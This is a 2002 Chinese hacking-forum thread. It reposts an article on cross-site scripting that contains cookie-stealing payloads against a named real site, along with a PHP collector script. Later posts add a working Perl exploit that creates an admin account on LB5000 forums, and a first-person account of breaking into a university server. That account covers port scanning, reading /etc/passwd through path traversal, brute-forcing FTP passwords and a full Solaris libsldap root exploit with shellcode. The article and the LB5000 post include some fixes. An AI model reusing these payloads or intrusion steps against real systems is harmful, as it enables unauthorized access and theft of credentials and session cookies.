>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  跨站脚本执行漏洞详解,最流行lb5K也有此漏?..
发表文章 发表涂鸦
  回复数:14  点击数:289 将此页发给您的朋友        
作者 主题: 跨站脚本执行漏洞详解,最流行lb5K也有此漏洞『推荐』 回复 | 收藏 | 打印 | 篇末
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:61.154.28.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

◆ 跨站脚本执行漏洞详解

作者:analysist < analysist@nsfocus.com >
主页:http://www.nsfocus.com
日期:2002-1-4

【前言】

本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题(FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够比较详细的介绍该漏洞。由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教。

声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负!

【漏洞成因】
原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。

【漏洞形式】
这里所说的形式,实际上是指CGI输入的形式,主要分为两种:
1.显示输入
2.隐式输入
其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。
显示输入又可以分为两种:
1. 输入完成立刻输出结果
2. 输入完成先存储在文本文件或数据库中,然后再输出结果
注意:后者可能会让你的网站面目全非!:(
而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。

【漏洞危害】
大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。
1. 获取其他用户Cookie中的敏感数据
2. 屏蔽页面特定信息
3. 伪造页面信息
4. 拒绝服务攻击
5. 突破外网内网不同安全设置
6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
7. 其它
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。

【利用方式】
下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条理更清晰一些,我们将针对每种危害做一个实验。
为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。
另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。
好的,一切就绪,我们开始做实验!:)

实验一:获取其他用户Cookie中的敏感信息
我们以国内著名的同学录站点5460.net为例来说明一下,请按照下面的步骤进行:
1. 进入首页http://www.5460.net/
2. 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。
3. 分析抓包数据,得到实际请求:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. 构造一个提交,目标是能够显示用户Cookie信息:
http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</script>&passwd=&ok.x=28&ok.y=6
5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://www.5460.net");
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
7. 后面要做什么就由你决定吧!

实验二:屏蔽页面特定信息
我们仍然以5460.net作为例子,下面是一个有问题的CGI程序:
http://www.5460.net/txl/liuyan/liuyanSql.pl
该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检查,而且该CGI程序把cName的值作为输出页面的一部分,5460.net的用户应该都比较清楚留言右下角有你的名字,对吧?
既然有了上面的种种条件,我们可以不妨作出下面的结论:
某个用户可以“屏蔽”其两次留言之间的所有留言!
当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于HTML的特性,我们无法从页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是出了我们这些研究CGI安全的人来说,有多少人有事没事都看HTML源代码?
由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。
注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right?

实验三:伪造页面信息
如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而已。

实验四:拒绝服务攻击
现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的JavaScript脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可以隐藏身份。

实验五:突破外网内网不同安全设置
这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说,对于Internet区域,可能你不允许JavaScript执行,而在Intranet区域,你就允许JavaScript执行。一般来说,前者的安全级别都要高于后者。这样,一般情况下别人无法通过执行恶意JavaScript脚本对你进行攻击,但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于Intranet区域。

实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧,前些时间的修改IE标题漏洞,错误MIME类型执行命令漏洞,还有多种多样的蠕虫,都是很好的例子。
更多的例子请参考下列链接:
Internet Explorer Pop-Up OBJECT Tag Bug
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
the other IE cookie stealing bug (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
http://www.kriptopolis.com/cua/eml.html

跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。

实验七:其它
其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据,然后进行了输出处理。举个例子来说,支持SSI的服务器上的CGI程序输出了用户提交的数据,无论该数据是采取何种方式输入,都可能导致SSI指令的执行。当然,这是在服务端,而不是客户端执行。其实像ASP,PHP和Perl等CGI语言都可能导致这种问题。

【隐藏技巧】
出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书看吧。
1. URL编码
比较一下:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你觉得哪个更有隐蔽性?!

2. 隐藏在其它对象之下
与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?

3. 嵌入页面中
让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得多,借助于Iframe,你可以把这种攻击变得更隐蔽。

4. 合理利用事件
合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本执行漏洞。

【注意事项】
一般情况下直接进行类似<script>alert(document.cookie)</script>之类的攻击没有什么问题,但是有时CGI程序对用户的输入进行了一些处理,比如说包含在’’或””之内,这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。

【解决方法】
要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:
程序员:
1. 过滤或转换用户提交数据中的HTML代码
2. 限制用户提交数据的长度

用户:
1. 不要轻易访问别人给你的链接
2. 禁止浏览器运行JavaScript和ActiveX代码

附:常见浏览器修改设置的位置为:
Internet Explorer:
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera:
文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用JavaScript

【常见问题】
Q:跨站脚本执行漏洞在哪里存在?
A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。

Q:跨站脚本执行漏洞是不是只能偷别人的Cookie?
A:当然不是!HTML代码能做的,跨站脚本执行漏洞基本都能做。

【附录】
下面是一些跨站脚本执行漏洞的例子:
http://v7.51.net/exploites/exgb.txt
http://v7.51.net/exploites/ichat2.txt
http://v7.51.net/exploites/bbs2www.txt
http://v7.51.net/exploites/5460II.txt
http://v7.51.net/exploites/sf.txt
http://v7.51.net/exploites/phpmyadmin.txt



版权所有,未经许可,不得转载
1999-2002 Nsfocus Corporation. All rights reserved.
----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-06-10.00:00:06   MSIE 6.0 Windows 98IP: 已记录
l78z帅哥哦
级别:老 站 友
威望:0
经验:0
货币:1127
体力:40.3
来源:218.2.137.*
总发帖数:363
注册日期:2002-03-31
查看 邮件 主页 QQ 消息 引用 复制 下载 

都什么年代了

编辑 删除 发表时间发表于 2002-06-10.19:38:12   MSIE 6.0b Windows 98IP: 已记录
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:61.154.28.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

lb5K的攻击脚本
LB5000 存在Cookie 变量未过滤漏洞的LB5K攻击程序lb5k.pl以及临时解决办法 (阅览 3842 次)

#!/usr/bin/perl
#Proof of Concept
#LB5K search.cgi exploit
#Codz by analysist <analysist@nsfocus.com>

use Socket;

$ARGC = @ARGV;
if ($ARGC != 2) {
print "Usage: $0 <host> <port>\n";
exit(1);
}

$host = shift;
$port = shift;

#you may need to change it?
$user = "admin";

$req = "GET /LB5000/cgi-bin/search.cgi?action=startsearch&CUR_TIME=$user%5fsch%09c40p%09member%09ad&SEARCH_STRING=i&NAME_SEARCH=really&TYPE_OF_SEARCH=love&POST_SEARCH=analysist&FORUMS_TO_SEARCH= HTTP/1.1\r\n".
"Host: $host\r\n".
"Accept: */*\r\n".
"Cookie: amembernamecookie=../members/$user\n\n";

@res = sendraw($req);

if ($res[0] =~ /HTTP\/1\.1 200 OK/ig) {
print "Ok,创建管理员帐号".$user."_sch成功!\n";
}

#modified from rfp's script!
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}
}
路径设置可参考LB论坛服务器的路径修改
GET /LB5000/cgi-bin/search.cgi?
注册名字admin也可以修改
$user = "admin";
密码c40p也可以修改
09c40p%09member%
在WINDOWS下安装PERL解释器
先注册一个名字在IE里面留下COOKIE,以便用PL脚本执行攻击



临时解决办法:
1.1.Cookie的问题临时解决办法
可以在第60行$filename = $inmembername;之前,加下下面两行
$inmembername =~ s/\///g;
$inmembername =~ s/\.\.//g;
2.建议对写入文件的变量进行过滤
3.暂停使用search.cgi (删除或者把属性改为666)



你认为这没用吗?
----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-06-11.08:04:53   MSIE 6.0 Windows 98IP: 已记录
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:61.154.28.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

关键看你怎么用,现在所有学计算机的,那个没有学过basic
----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-06-11.08:07:23   MSIE 6.0 Windows 98IP: 已记录
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:61.154.28.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

类似攻击!

一次利用show files类cgi漏洞成功入侵的经历
www.sandflee.net 2002-5-14 灰色轨迹



发布时间:2002.5.14 </P><P>申明:本文版权归幻影旅团所有,欢迎转载,但请保持原文完整及出处 </P><P> 很多人都不明白cgi漏洞的好的利用,大多数只会完unicode或idq之类简单的漏洞,今天我就来谈谈我是怎么利用一个cgi漏洞攻克一台 </P><P>solaris 8 的。

本来这文章也懒得写了,不过前阵子用这种思路K了好些网站之后,无痕大哥要我写出来,再加上傲气雄鹰这个居心不良的家伙喊我去做他 </P><P>那里的入侵实例版的斑竹,我就只好利用今天下雨,来啃篇文章了,错误之处还请大家指正。 </P><P> 在我攻克的几家网站中,www.uta.edu是安全措施做的最好的,其他的也没什么困难,也不过是些过滤之类的麻烦。那么,我就把我攻克 </P><P>uta.edu的过程写出来好了. </P><P> 首先,我们ping一下
C:\>ping www.uta.edu </P><P>Pinging sun250.uta.edu [129.107.56.154] with 32 bytes of data: </P><P>Request timed out.
Request timed out.
Request timed out.
Request timed out. </P><P>Ping statistics for 129.107.56.154:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms </P><P>C:\> </P><P> faint,看来装了防火墙或做了icmp过滤之类~~~@_@
没关系,我们至少得到了ip.
我们再来,能够看到他的页面,说明80可能开了
那么,我们请出瑞士军刀netcat,嘻嘻,我最喜欢了.
C:\>nc -vv 129.107.56.154 80
sun250.uta.edu [129.107.56.154] 80 (http) open
GET / HTTP/1.1 </P><P>HTTP/1.1 400 Bad Request
Date: Tue, 14 May 2002 07:03:02 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1 </P><P>127
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>400 Bad Request</TITLE>
</HEAD><BODY>
<H1>Bad Request</H1>
Your browser sent a request that this server could not understand.<P>
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /<P>
</BODY></HTML> </P><P>0 </P><P>sent 16, rcvd 480: NOTSOCK </P><P>C:\> </P><P> 呵呵,又搞到不少有用信息.我来解释一下,在这里,我用get / http/1.1来取得他的webserver的相关信息
那么我们得到了什么呢?只知道了是apache~~~~faint,连版本都没搞到~~~@_@我愤怒了,于是请出扫描器之王namp~~~@_@ </P><P>嘻嘻,我个人认为nmap比shadow security scanner管用多了!!哈哈,特别是在版本的判断上
好,我们来扫.这里我用的是nt下的版本,在www.patching.net/abu有下载~~~@_@不过要先装winpcap---一个非常好的东西 </P><P>C:\>nmap -sS -O -vv 129.107.56.154 </P><P>Starting nmap V. 2.54BETA32 ( www.insecure.org/nmap ) </P><P>Host sun250.uta.edu (129.107.56.154) appears to be up ... good.
Initiating SYN Stealth Scan against sun250.uta.edu (129.107.56.154)
Adding open port 443/tcp
Adding open port 514/tcp
Adding open port 111/tcp
Adding open port 21/tcp
Adding open port 587/tcp
Adding open port 23/tcp
Adding open port 6000/tcp
Adding open port 80/tcp
Adding open port 22/tcp
Adding open port 32772/tcp
Adding open port 32771/tcp
Adding open port 3306/tcp </P><P>The SYN Stealth Scan took 33 seconds to scan 1554 ports. </P><P>For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled
Interesting ports on sun250.uta.edu (129.107.56.154):
(The 1532 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp filtered smtp
53/tcp filtered domain
80/tcp open http
111/tcp open sunrpc
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
161/tcp filtered snmp
162/tcp filtered snmptrap
443/tcp open https
445/tcp filtered microsoft-ds
514/tcp open shell
587/tcp open submission
3306/tcp open mysql
6000/tcp open X11
6346/tcp filtered gnutella
6699/tcp filtered napster
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7 </P><P>Remote operating system guess: Sun Solaris 8 early acces beta through actual release
OS Fingerprint:
TSeq(Class=TR%IPID=I%TS=100HZ)
T1(Resp=Y%DF=Y%W=60DA%ACK=S++%Flags=AS%Ops=NNTNWM)
T2(Resp=N)
T3(Resp=N)
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S%Flags=AR%Ops=)
PU(Resp=N) </P><P>Uptime 7.325 days (since Tue May 07 07:03:54 2002)
TCP Sequence Prediction: Class=truly random
Difficulty=9999999 (Good luck!)
TCP ISN Seq. Numbers: 3F1DE88F 900E621B 22316BB6 E50C108F D6DE4B4B 7089B80B
IPID Sequence Generation: Incremental </P><P>Nmap run completed -- 1 IP address (1 host up) scanned in 50 seconds </P><P>C:\> </P><P>我来解释一下-sS 是选择用syn扫描,嘻嘻,原理不多说-O是判断主机类型,大家都知道nmap的利用tcp/ip堆栈判断系统类型很厉害.-vv是为了 </P><P>看到详细过程! </P><P>faint,这么多被filter的端口~~~@_@我KAO,连25的smtp和161的snmp都给filter了,这里32771和32772等是随机端口,说明有人在远程使用这个机 </P><P>子~~~~@_@,看来今天要小心,上面有人!!不过还是有几个让我兴奋的端口,比如21,22,23,111,80,514,3306等. </P><P>好,我们再来看主机类型@_@faint,居然是Sun Solaris 8 early acces beta through actual release还好不是最新版,还有点办法~~~@_@不过 </P><P>sunos5.8的大bug好象不多,管他的,先事事snmpdmid的那个古老的远程溢出~~~@_@结果failed,果然不出所料,这种大型网站一般比较坚挺~~~@_@
恩,试了几个rpc都不行~~~@_@ </P><P>好了,第一轮探测结束,现在开始第二轮,再用nc,看下各个服务的banner再说~~~ </P><P>以下是nc的结果 </P><P>220 sun250 FTP server (Version wu-2.6.2(1) Tue May 7 09:50:51 CDT 2002) ready. </P><P>KAO,把我吓着了~~~@_@wuftp2.6.2,看来即使有帐号这条路也走不通了 </P><P>SSH-2.0-OpenSSH_3.1p1 </P><P>倒~~~@_@真是神仙~~~~这么高的版本,看来ssh这条路也难走~~~ </P><P>telnet 23一下看,只看到是sunos5.8随便试了几个帐号比如test都没成功,这样不是办法啊~~~@_@ </P><P>啊,还有个3306的mysql比较好看~~用客户端连连看,结果要密码~~~faint </P><P>难道真的没有办法了吗~~~???我实在是不愿意走cgi这条路~~~@_@,唉,没办法,我们来吧~~~ </P><P>于是我拿出了sss(我们的shadow)先扫扫~~~@_@再看,由于我一直找不到好的cgi扫描器,所以目前一般用sss扫cgi,伤脑筋,谁有好的记得告诉我 </P><P></P><P>让他慢慢扫了,我先去和x-laser打桌球去~~~@_@呵呵,x-laser今天去会考,祝他好运!唉,sss就是让我等的心急~~~~听歌去,现在日本新出个歌手 </P><P>叫鬼束千寻 ,歌很不错啊~~~推荐大家听听..... </P><P>sss扫好了,放眼望去,结果一般,不过有一个cgi漏洞~~~-------cal_make.pl,tmd,今天前面扯了这么久终于进入正题了!去hack.co.za的镜像翻 </P><P>了翻,发现这个属于showfile类型,也就是说可以读取文件!!哈哈,描述如下 </P><P>
Name : PerlCal
About : cal_make.pl of the PerlCal script may allow remote users(website visitors) to view any file on a webserver </P><P>(dependingon the user the webserver is running on). </P><P>Exploit: </P><P>http://www.VULNERABLE.com/cgi-bin/cal_make.pl?\
p0=../../../../../../../../../../../../etc/passwd%00
by: stan (stan@whizkunde.org) </P><P>这应该是一个计数器程序的漏洞,嘿嘿,看来uta.edu百密必有一疏,cgi和udp一般是不被人重视的.我们现在试试这个漏洞看~~~@_@ </P><P>在浏览器输入 </P><P>
http://www.uta.edu/cgi-bin/perlcal/cal_make.pl?p0=../../../../../../../../../../../../../etc/passwd%00 </P><P>
YAHOOOOOOOOOOOOOOOOOOOOO~~~~~~我们成功了,we got it~~~哈哈哈哈哈哈,爽,看到大量帐号,我有预感今天要发财. </P><P>显示如下 </P><P>root:x:0:1uper-User:/:/sbin/sh acctmgr:x:0:3040UID Account Manager:/home/acs/acctmgr:/usr/bin/tcsh daemon:x:1:1::/: </P><P>bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: uucp:x:5:5:uucp </P><P>Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network </P><P>Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:No Access User:/: nobody4:x:65534:65534unOS 4.x </P><P>Nobody:/: bbuser:x:200:3040:Big Brother User Account:/home/acs/bbuser:/usr/bin/tcsh lynx:x:201:50:Apache </P><P>User:/:/usr/local/bin/false mysql:x:29840:1::/home/mysql:/bin/sh jth:x:12715:10:JASON T </P><P>....... </P><P></P><P>下面还有好多,限于篇幅就不写了~~~@_@不过,这是一个shadow过了passwd,怎么办?很多人到这里就放弃,不过如果我放弃了就做不了幻影旅团团 </P><P>长了~~~~得到用户名的第一反应应该是高兴,特别是得到了大量的用户名的时候!因为意味着可能存在弱口令! </P><P>所以现在我们的思路就是分离出username然后做成字典,就可以跑了!这个时候,前面的ftp服务就显出其重要的地位了!!! </P><P>好了,说的轻松,要分离出用户名不是那么简单的!首先是这个的格式问题!浏览器里面的格式和passwd的标准格式存在出入 </P><P>如果是标准格式,我们可以直接在linux下这样分离 </P><P>假设pp是一个passwd文件 </P><P>那么我 </P><P>$cut -d: -f 1 pp > tt </P><P>通过这一句命令就实现了以上功能。写入了文件tt </P><P>-d是把 “:”作为分隔符 ,-f是指取第一个字段 </P><P>这样就就可以很方便的把users提出来 </P><P>
syshunter提供的一种方法是使用awk </P><P>cat passwd│awk '{if ($NF=="bash") print $NF}' </P><P>
而这些的效果都不是很好,这个时候我的副团长atomic马上根据需要写了个小程序,用以分离username,非常好用 </P><P>Atomic说: </P><P>回复yshunter,atmoic我找到一种更简单的提炼用户名的方法 </P><P>我的程序是多行/单行通吃的哦 </P><P>无论你是所有文件集中在一行 (?../../../etc/passwd得到的)
还是!cat下来的都可以:) </P><P>
哈哈,他的的确好用,而且是windows下的图形界面 同时有找出空口令的功能 </P><P>可以在http://apower.uhome.net/getusers.exe下载~~~@_@ </P><P>顺便提一句,以前coolfire的那个分离用户名的没作用@_@ </P><P>于是,我得到了几百个用户名!!!!马上挂上流光,跑ftp </P><P>晕~~~@_@开始一遍什么都没扫到~~@_@ </P><P>
KAO,我不信!几百个user会没有弱口令?不对,于是我放低线程 </P><P>休息片克~~~终于有收获了~~~不过只有3个~~~ </P><P>我迫不及待的telnet上去,倒~~~@_@进不去,不会吧~~~~~再回过头看下passwd文件,倒~~~这个居然是没shell的faint </P><P>换~~~终于看到一个tt的帐号有shell </P><P>
呵呵,好事多磨~~~,现在telnet上去喽~~!!!!!! </P><P>于是我得到了一个shell,我赶紧去找网页目录,find / -name "index.htm" -print </P><P>倒~~~找了很多,不过没一个是,看来是权限不够~~!! </P><P>我咬咬牙,决定得到他的root,先find一遍没有发现可用的 suid shell </P><P>恩,看来安全设置不错,幸好还允许我生成core文件,所以我准备来本地溢出. </P><P>在安焦上找了个代码,嘿嘿,在国内我成功过的,现在来看看.下面是我在safechina发的帖子,关于sunos5.8的本地溢出 </P><P>-----------------------------------------------------------------------------------------------------------------------------
记得以前cooldidi兄问我关于在sunos5.8下提升权限问题 </P><P>当时没什么需要,也没去注意,现在要用了,就找了下:) </P><P>首先solaris的gcc 一般在/usr/local/bin/gcc </P><P>所以可以在gcc上编译,代码在安焦有 </P><P>====================================================
From: Noir Desir <noir@gsu.linux.org.tr>
To: bugtraq@securityfocus.com <bugtraq@securityfocus.com>
Subject: Solaris 8 libsldap exploit
Date: 2001-7-5 14:14:00
====================================================


Hi, </P><P>I wish to free this one since it has been made public by some
ppl. libsldap hole has been
known for long. As far as I know, sway@hack.co.za did actually found the
hole several months
ago and generously let me know about it. All propz goes to him. Thanks
bro. </P><P>Exploit is plain simple, tested on an Ultra10 and an Enterprise 3500 with
success.
I usually support the anti-sec movement but I got my reasons to publish
the exploit.
If you want to know why, please do mail me. </P><P>$ ./libsldap-exp
libsldap.so.1 $LDAP_OPTIONS enviroment variable buffer overflow
Exploit code: noir@gsu.linux.org.tr
Bug discovery: sway@hack.co.za </P><P>Usage: ./libsldap-exp target# </P><P>target#: 0, /usr/bin/passwd Solaris8, Sparc64
target#: 1, /usr/bin/nispasswd Solaris8, Sparc64
target#: 2, /usr/bin/yppasswd Solaris8, Sparc64
target#: 3, /usr/bin/chkey Solaris8, Sparc64
target#: 4, /usr/lib/sendmail Solaris8, Sparc64
$ ./libsldap-exp 0
# id
uid=0(root) gid=0(root)
# </P><P>
PS: t(L)amer sahin kicina oyle bir tekme yiyeceksinki, agzindan cikicak.
Haberin olsun istedim : ) </P><P>
Greetings: sway, anathema, gov-boi, www.hack.co.za, ertan_kurt, cronos </P><P>
cheers,
noir </P><P></P><P></P><P>/** !!!PRIVATE!!!
** noir@gsu.linux.org.tr
** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
**
**/

#include <stdio.h> </P><P>#define ADJUST 1 </P><P>
/* anathema@hack.co.za
** Solaris/SPARC shellcode
** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
*/ </P><P>char shellcode[] =
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"; </P><P>struct type {
char *string;
char *path;
long retaddr;
}; </P><P>struct type target[] =
{
{ "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
{ "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
{ "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
{ "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
{ "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
{ NULL, NULL, 0 }
}; </P><P>int i;
unsigned long ret_adr;
char ldap[4000];
char egg[400];
char *envs[] = { ldap, egg, NULL }; </P><P>main(int argc, char *argv[])
{ </P><P> if(!argv[1])
{
fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
for(i = 0; target.string != NULL; i++)
fprintf(stderr,"target#: %s\n", target.string);
exit(0);
} </P><P> ret_adr = target[atoi(argv[1])].retaddr;

memset(egg, 0x00, sizeof egg);
for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
*(long *)&egg = 0xa61cc013;
for (i= 0 ; i < strlen(shellcode); i++)
egg[200+i]=shellcode;

for ( i = 0; i < ADJUST; i++) ldap=0x58;
for (i = ADJUST; i < 4000; i+=4)
{
ldap[i+3]=ret_adr & 0xff;
ldap[i+2]=(ret_adr >> 8 ) &0xff;
ldap[i+1]=(ret_adr >> 16 ) &0xff;
ldap[i+0]=(ret_adr >> 24 ) &0xff;
}
memcpy(ldap, "LDAP_OPTIONS=", 13);

ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated </P><P>execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs); </P><P>} </P><P>编译后执行就是root了 :) </P><P>enjoy it </P><P></P><P></P><P>
-----------------------------------------------------------------------------------------------------------------------------
是游戏时间了! </P><P>
